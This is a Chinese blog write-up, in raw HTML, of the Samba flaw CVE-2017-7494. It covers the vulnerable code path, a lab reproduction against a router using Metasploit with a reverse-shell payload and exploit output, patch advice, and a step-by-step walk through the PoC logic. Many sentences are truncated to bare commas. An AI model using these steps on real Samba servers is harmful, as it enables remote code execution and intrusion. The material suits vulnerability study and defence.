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Samba漏洞臭名昭著
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< h1 id = "漏洞描述" > < a href = "#漏洞描述" class = "headerlink" title = "漏洞描述" > < / a > 漏洞描述< / h1 > < p > Samba服务器软件存在远程执行代码漏洞。攻击者可以利用客户端将指定库文件上传到具有可写权限的共享目录， < br > 具体执行条件如下：< / p >
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< ol >
< li > < p > 服务器打开了文件/打印机共享端口445， < / p >
< / li >
< li > < p > 共享文件拥有写入权限< / p >
< / li >
< li > < p > 恶意攻击者需猜解Samba服务端共享目录的物理路径< / p >
< / li >
< / ol >
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< h1 id = "Samba介绍" > < a href = "#Samba介绍" class = "headerlink" title = "Samba介绍" > < / a > Samba介绍< / h1 > < p > Samba是在Linux和Unix系统上实现SMB协议的一个免费软件， （ ， ） ， < / p >
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< p > SMB协议是客户机/服务器型协议， ， < / p >
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< p > 某厂商路由器的smbd版本为4.0.21， < / p >
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< h1 id = "漏洞成因" > < a href = "#漏洞成因" class = "headerlink" title = "漏洞成因" > < / a > 漏洞成因< / h1 > < p > 处于< code > \source3\rpc_server\src_pipe.c的is_known_pipename()< / code > 函数未对传进来的管道名< code > pipename< / code > 的路径分隔符< code > /< / code > 进行识别过滤， ， < br > 首先看到< code > is_known_pipename()`< / code > 函数< br > < img src = "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/02-00-46.png" alt > < / p >
< p > 跟进到< code > smb_probe_module()< / code > < br > < img src = "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-59-58.jpg" alt > < / p >
< p > 再跟进到< code > do_smb_load_module()< / code > ，发现调用的过程就在其中,调用了传进来的moudule_name对应的init_samba_module函数< br > < img src = "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/02-01-19.jpg" alt > < / p >
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< p > 我们可以通过smb服务上传一个恶意的so文件， ， < / p >
< h1 id = "漏洞复现" > < a href = "#漏洞复现" class = "headerlink" title = "漏洞复现" > < / a > 漏洞复现< / h1 > < h2 id = "某路由器满足条件" > < a href = "#某路由器满足条件" class = "headerlink" title = "某路由器满足条件" > < / a > 某路由器满足条件< / h2 > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > netstat -apnt< / span > < br > < span class = "line" > tcp 0 0 192.168.31.1:445 0.0.0.0:* LISTEN 0 572 1917/smbd< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > nmap 192.168.31.1< / span > < br > < span class = "line" > 139/tcp open netbios-ssn< / span > < br > < span class = "line" > 445/tcp open microsoft-ds< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
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< p > < strong > < em > 端口已开启< / em > < / strong > < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < span class = "line" > 35< / span > < br > < span class = "line" > 36< / span > < br > < span class = "line" > 37< / span > < br > < span class = "line" > 38< / span > < br > < span class = "line" > 39< / span > < br > < span class = "line" > 40< / span > < br > < span class = "line" > 41< / span > < br > < span class = "line" > 42< / span > < br > < span class = "line" > 43< / span > < br > < span class = "line" > 44< / span > < br > < span class = "line" > 45< / span > < br > < span class = "line" > 46< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > vim /etc/samba/smb.conf< / span > < br > < span class = "line" > deadtime = 30< / span > < br > < span class = "line" > domain master = yes< / span > < br > < span class = "line" > encrypt passwords = true< / span > < br > < span class = "line" > enable core files = no< / span > < br > < span class = "line" > guest account = nobody< / span > < br > < span class = "line" > guest ok = yes< / span > < br > < span class = "line" > invalid users =< / span > < br > < span class = "line" > local master = yes< / span > < br > < span class = "line" > load printers = no< / span > < br > < span class = "line" > map to guest = Bad User< / span > < br > < span class = "line" > min receivefile size = 16384< / span > < br > < span class = "line" > null passwords = yes< / span > < br > < span class = "line" > obey pam restrictions = yes< / span > < br > < span class = "line" > passdb backend = smbpasswd< / span > < br > < span class = "line" > preferred master = yes< / span > < br > < span class = "line" > printable = no< / span > < br > < span class = "line" > smb encrypt = disabled< / span > < br > < span class = "line" > smb passwd file = /etc/samba/smbpasswd< / span > < br > < span class = "line" > socket options = SO_SNDBUFFORCE=1048576 SO_RCVBUFFORCE=1048576< / span > < br > < span class = "line" > smb2 max trans = 1048576< / span > < br > < span class = "line" > smb2 max write = 1048576< / span > < br > < span class = "line" > smb2 max read = 1048576< / span > < br > < span class = "line" > write cache size = 262144< / span > < br > < span class = "line" > syslog = 2< / span > < br > < span class = "line" > syslog only = yes< / span > < br > < span class = "line" > use sendfile = yes< / span > < br > < span class = "line" > writeable = yes< / span > < br > < span class = "line" > log level = 1< / span > < br > < span class = "line" > unicode = True< / span > < br > < span class = "line" > max log size = 500< / span > < br > < span class = "line" > log file = /tmp/log/samba.log< / span > < br > < span class = "line" > server role = STANDALONE< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > [homes]< / span > < br > < span class = "line" > comment = Home Directories< / span > < br > < span class = "line" > browsable = no< / span > < br > < span class = "line" > read only = no< / span > < br > < span class = "line" > create mode = 0750< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > [data] ***SMB_SHARE_NAME***< / span > < br > < span class = "line" > path = /tmp ***SMB_FOLDER***< / span > < br > < span class = "line" > read only
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< p > < strong > < em > 具有可写权限、目录为/tmp< / em > < / strong > < / p >
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< h2 id = "攻击： > < a href = "#攻击： class = "headerlink" title = "攻击： > < / a > 攻击： < / h2 > < h3 id = "设置攻击参数" > < a href = "#设置攻击参数" class = "headerlink" title = "设置攻击参数" > < / a > 设置攻击参数< / h3 > < p > 靶机是某厂商路由器， ， < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > show options< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > Module options (exploit/linux/samba/is_known_pipename):< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > Name Current Setting Required Description< / span > < br > < span class = "line" > ---- --------------- -------- -----------< / span > < br > < span class = "line" > RHOSTS 192.168.31.1 yes The target address range or CIDR identifier< / span > < br > < span class = "line" > RPORT 445 yes The SMB service port (TCP)< / span > < br > < span class = "line" > SMB_FOLDER no The directory to use within the writeable SMB share< / span > < br > < span class = "line" > SMB_SHARE_NAME no The name of the SMB share containing a writeable directory< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > Payload options (generic/shell_reverse_tcp):< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > Name Current Setting Required Description< / span > < br > < span class = "line" > ---- --------------- -------- -----------< / span > < br > < span class = "line" > LHOST 192.168.216.129 yes The listen address (an interface may be specified)< / span > < br > < span class = "line" > LPORT 4444 yes The listen port< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > Exploit target:< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > Id Name< / span > < br > < span class = "line" > -- ----< / span > < br > < span class = "line" > 7 Linux MIPSLE< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
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< h3 id = "执行攻击" > < a href = "#执行攻击" class = "headerlink" title = "执行攻击" > < / a > 执行攻击< / h3 > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > exploit< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > [*] Started reverse TCP handler on 192.168.216.129:4444< / span > < br > < span class = "line" > [*] 192.168.31.1:445 - Using location \\192.168.31.1\data\ for the path< / span > < br > < span class = "line" > [*] 192.168.31.1:445 - Retrieving the remote path of the share ' data' < / span > < br > < span class = "line" > [*] 192.168.31.1:445 - Share ' data' has server-side path ' /tmp< / span > < br > < span class = "line" > [*] 192.168.31.1:445 - Uploaded payload to \\192.168.31.1\data\KcQiOcbk.so< / span > < br > < span class = "line" > [*] 192.168.31.1:445 - Loading the payload from server-side path /tmp/KcQiOcbk.so using \\PIPE\/tmp/KcQiOcbk.so...< / span > < br > < span class = "line" > [-] 192.168.31.1:445 - > > Failed to load STATUS_OBJECT_NAME_NOT_FOUND< / span > < br > < span class = "line" > [*] 192.168.31.1:445 - Loading the payload from server-side path /tmp/KcQiOcbk.so using /tmp/KcQiOcbk.so...< / span > < br > < span class = "line" > [-] 192.168.31.1:445 - > > Failed to load STATUS_OBJECT_NAME_NOT_FOUND< / span > < br > < span class = "line" > [*] Exploit completed, but no session was created.< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
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< p > 虽然报错，但是查看共享文件夹/tmp却发现了生成了.so文件< br > 知乎这篇< a href = "https://zhuanlan.zhihu.com/p/27129229" target = "_blank" rel = "noopener" > 专栏< / a > 也有相同问题< / p >
2019-07-27 06:42:04 +00:00
< h1 id = "修补方案" > < a href = "#修补方案" class = "headerlink" title = "修补方案" > < / a > 修补方案< / h1 > < p > 最安全的方法还是打补丁或者升级到Samba 4.6.4/4.5.10/4.4.14任意版本，可以参考 < a href = "https://www.samba.org/samba/history/security.html" target = "_blank" rel = "noopener" > https://www.samba.org/samba/history/security.html< / a > < / p >
< p > 如果暂时不能升级版本或安装补丁，可以使用临时解决方案：< br > 在smb.conf的[global]板块中添加参数： < br > 然后重启smbd服务。< / p >
2020-10-21 10:25:01 +00:00
< h1 id = "分析POC， > < a href = "#分析POC， class = "headerlink" title = "分析POC， > < / a > 分析POC， < / h1 > < p > (来自< a href = "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/" target = "_blank" rel = "noopener" > Wz’ < / a > )< / p >
< h2 id = "建立SMB连接。若需要账号密码登录， > < a href = "#建立SMB连接。若需要账号密码登录， class = "headerlink" title = "建立SMB连接。若需要账号密码登录， > < / a > 建立SMB连接。若需要账号密码登录， < / h2 > < p > 从微软上扒的SMB协议建立时序图： < br > < img src = "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-09-40.png" alt > < / p >
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< p > 对应POC:< / p >
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< p > < img src = "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/23-15-57.png" alt > < / p >
< h2 id = "利用NetShareEnumAll遍历目标服务器的共享名-ShareName-以及获取对应的共享文件夹下的可写路径-Path" > < a href = "#利用NetShareEnumAll遍历目标服务器的共享名-ShareName-以及获取对应的共享文件夹下的可写路径-Path" class = "headerlink" title = "利用NetShareEnumAll遍历目标服务器的共享名(ShareName)以及获取对应的共享文件夹下的可写路径(Path)" > < / a > 利用NetShareEnumAll遍历目标服务器的共享名(ShareName)以及获取对应的共享文件夹下的可写路径(Path)< / h2 > < p > < img src = "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/00-38-48.jpg" alt > < / p >
< p > 其中find_writeable_path()函数需要跟进看一下：< br > < img src = "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-14-43.jpg" alt > < / p >
< p > 再跟进看enumerate_directories()以及verify_writeable_directory函数< br > < img src = "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/00-48-27.jpg" alt > < br > < img src = "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-18-44.jpg" alt > < / p >
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< p > 可以看到代码逻辑很清楚， ， ， ， < br > 至此，我们得到了一个共享名(即本例中的data)以及其当前路径下的可写目录(/tmp)< / p >
2020-10-21 10:25:01 +00:00
< h2 id = "利用NetShareGetInfo获取共享文件夹的绝对路径-SharePath" > < a href = "#利用NetShareGetInfo获取共享文件夹的绝对路径-SharePath" class = "headerlink" title = "利用NetShareGetInfo获取共享文件夹的绝对路径(SharePath)" > < / a > 利用NetShareGetInfo获取共享文件夹的绝对路径(SharePath)< / h2 > < p > < img src = "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-26-47.jpg" alt > < br > 至此获取到了共享名data的绝对路径。< br > 值得注意的是， ， ， ， < / p >
< h2 id = "上传恶意so文件" > < a href = "#上传恶意so文件" class = "headerlink" title = "上传恶意so文件" > < / a > 上传恶意so文件< / h2 > < p > < img src = "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-38-28.jpg" alt > < br > 其中写入的so文件是Metasploit生成的反弹shell， ， < / p >
< h2 id = "调用恶意文件， > < a href = "#调用恶意文件， class = "headerlink" title = "调用恶意文件， > < / a > 调用恶意文件， < / h2 > < p > < img src = "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-43-02.jpg" alt > < br > 利用从第2步获取到的可写文件目录(Path)以及从第3步得到的共享文件绝对路径(SharePath)构造恶意管道名\PIPE\/SharePath/Path/Evil.so， < br > 在复现时， ， ： ， < br > POC代码将STATUS_OBJECT_PATH_INVALID作为我们payload被加载的标志， ， < / p >
< h2 id = "删除恶意so文件， > < a href = "#删除恶意so文件， class = "headerlink" title = "删除恶意so文件， > < / a > 删除恶意so文件， < / h2 > < p > < img src = "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-45-01.png" alt > < / p >
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< p > 由msf给出的poc过程可见， ， < / p >
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